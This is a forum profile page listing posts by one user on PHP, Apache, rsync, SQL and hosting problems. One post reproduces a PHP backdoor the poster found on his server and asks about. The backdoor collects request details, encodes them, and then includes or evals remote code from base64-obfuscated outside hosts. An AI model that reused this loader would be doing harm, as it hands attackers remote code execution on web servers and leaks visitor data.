Jump to content

bcoffin

Members
  • Posts

    130
  • Joined

  • Last visited

Posts posted by bcoffin

  1. When I browse to ANY .htaccess protected page, IE presents it's security login popup (pic of a keychain in the upper left corner). I can then choose from a dropdown of usernames EVERYTHING ever entered to access a secured page. This is what I wish to clear... There's no reason to store this information otherwise, what's the purpose of IE prompting login in the first place?

  2. I set-up a wireless ad-hoc network on one laptop, running Apache 2.2, PHP 5.2.6, with Windows Vista Home Premium.

    With a second laptop connected to the first's ad hoc network, I'm able to browse to pages, however it takes incredibly long and times out sometimes.

     

    Both laptops are Intel Core 2 duo (2.00GHZ/2.00GHZ) with Intel® Wireless WiFi Link 4965AGN cards. Connection to access points and the web are lightening fast.

     

    Is there anything I can do to speed up the wireless ad hoc connection when browsing pages from laptop to laptop?

     

    Browsing the file system in Windows Explorer and opening/editing/saving files is quick too. Which leads me to believe that Apache is the bottleneck.

     

    Any advice is appreciated.

     

    thanks!

  3. Strange, I'm doing a phpupload there, but ignoring all files with extension ".php" .. I'm not sure how it got in there. There were .htaccess files pointing to that php as an error 404 handler, but not sure how they were able to write .htaccess files either.

  4. I just noticed that somebody uploaded this file to my server.

    Any idea what it does?

    <? 
    error_reporting(0);
    $s="e";
    $a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
    $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
    $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
    $d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
    $e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
    $f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
    $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
    $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
    $i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);
    $j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
    
    $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s.".base64_encode($i).".".base64_encode($j); 
    
    if ((include(base64_decode("aHR0cDovLw==").base64_decode("YS5yc2RjcmFmdC53cw==")."/?".$str))); 
    else if (include(base64_decode("aHR0cDovLw==").base64_decode("YWQucnVud2ViLmluZm8=")."/?".$str)); 
    else eval(file_get_contents(base64_decode("aHR0cDovLzcueG1sZGF0YS5pbmZvLz8=").$str)); 
    ?>
    

  5. Please be brilliant with PHP5 (w/Smarty) / MYSQL5 (w/ADOdb)

    And know RHEL4 (or similiar) inside + out

    And SSL/SSH2

    And be able to commit to a Long Term/Part Time contract.

     

    ASP-model (web service) is up and running without issues.

     

    Your responsibility would be to learn the system top-to-bottom, answer support tickets (usually reminding users how to use the app),

    testing for potential issues brought to your/our attention, fixing any emergent bugs,

    adding features, upgrading features, etc.

     

    You would be expected to respond to tickets within 12hrs of issue,

    fix issues within 48hrs of ticket issue,

    0-15hrs of work per week expected but advance notice will be given if more time is expected.

     

    This is not an equity contract -- meaning YOU WILL GET PAID A FAIR CONTRACT AMOUNT (probably $300-350/week).

    If you're employed part- or full-time, this will be a great supplement to your income, without imposing exorbitant time requirements.

    Should you be awarded this contract, please be aware that this may turn into a staff role within 1-3yrs of dedication to the project.

     

    I'll be qualifying candidates based upon references and past work experience.

    Candidates should take pride in their work, responsibility for their code and administration, conduct business with professionalism and integrity, be polite and courteous.

     

    Thanks.

     

     

  6. Sorry, y'all. Maybe I just need a place to vent.

    Maybe you can make some recommendations to change the state of my opinion these days about ANY AND EVERY host.

     

    Technicians SHOULD NOT touch support tickets, servers, ANYTHING if they don't know what they're doing.

    My entire server has been down now for 3 days. Everytime I call support, they tell me to put in a support ticket and things will be handled immediately. Everytime I put in a support ticket I'm told that DNS changes have been made and to please wait 6hrs for them to propagate. Then, when I call back in 6hrs to let them know that nothing is fixed, they tell me that the technician that was working on my case has left for the day and put me on hold for 30min for another technician to bring themself up to speed on the issue. Once they're up to speed, they tell me they will make some DNS changes, for me to submit a support ticket and wait 6hrs, and the process repeats itself.

     

    I'm paying $350/mo for my server which includes immediate administrative support.

    Now why am I paying this much $$, when NOT ONE TECHNICIAN seems to know what they're doing and my site IS STILL DOWN?

     

     

     

    long story short, now that I've had a chance to vent, please someone recommend:

     

    1. Affordable, Dedicated, Managed Hosting Servers (yea, all three)

    2. Technicians that know how to communicate, know what they're doing, and take responsibility their work

    3. Preferably a host in my timezone (EST/NYC-NY) who will answer a phone

     

    thanks

  7. That's pretty clever.

    So each time any page is loaded, this script (incl its 3 queries) is run.

    Do you find this creates heavy overhead?

    I imagine servers should be able to handle it, just wasn't sure whether this was considered kosh by the masses.

  8. table: member

    ---

    id

    name

    zipcode

    gender

     

     

    table: trips

    ---

    id

    mid (member.id)

    trip (could be 1 or 2: 1=domestic; 2=abroad)

     

     

    I'd like to query to get:

    member.name, member.id, count of domestic trips, count of abroad trips

     

    I'm thinking:

    SELECT

    m.id as mid,

    m.name,

    count(t.trip)

    FROM member m

    LEFT JOIN trip t

    ON m.id = t.mid

    GROUP BY mid,trip

     

    or something like that, to return:

     

    {1, adam, 4, 2}

    {2, barb, 7, 16}

    {4, chris, 42, 2}

     

    and so on..

     

     

     

     

     

  9. And since rsync *is* changing the ownership on the files, I know that it has permissions to do so.

    It's just not changing them to the correct user/group.

  10. Well the group is :nobody, which is what rhel4 uses for web users/php.

    I know I shouldn't be, but I'm connecting with rsync as root.

    I've changed this to rsyncuser (a member of nobody) with the same results.

  11. I have a couple of installations of a small app (that has a lot of pages, unfortunately) and am looking into rsync to auto-sync all changed files to these boxes. It's working great, using the following:

     

    rsync -rptgovz --timeout=300 -e ssh /cygdrive/path/to/local/files/ rsyncuser@111.222.333.444:/home/path/to/one/installation

     

    And it's checking the differences, uploading newer files, and everything it's supposed to be doing on that front.

     

    However, it's changing all my perms to 0755. And changing all of my user:groups to 401:402 for some reason.

    Has anybody experienced this? The g and o flags are supposed to retain group and owner attributes. The p flag is supposed to retain the perms. I'm using v2.6.3 and setting (SET CYGWIN=nontsec).

     

    Thanks in advance.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.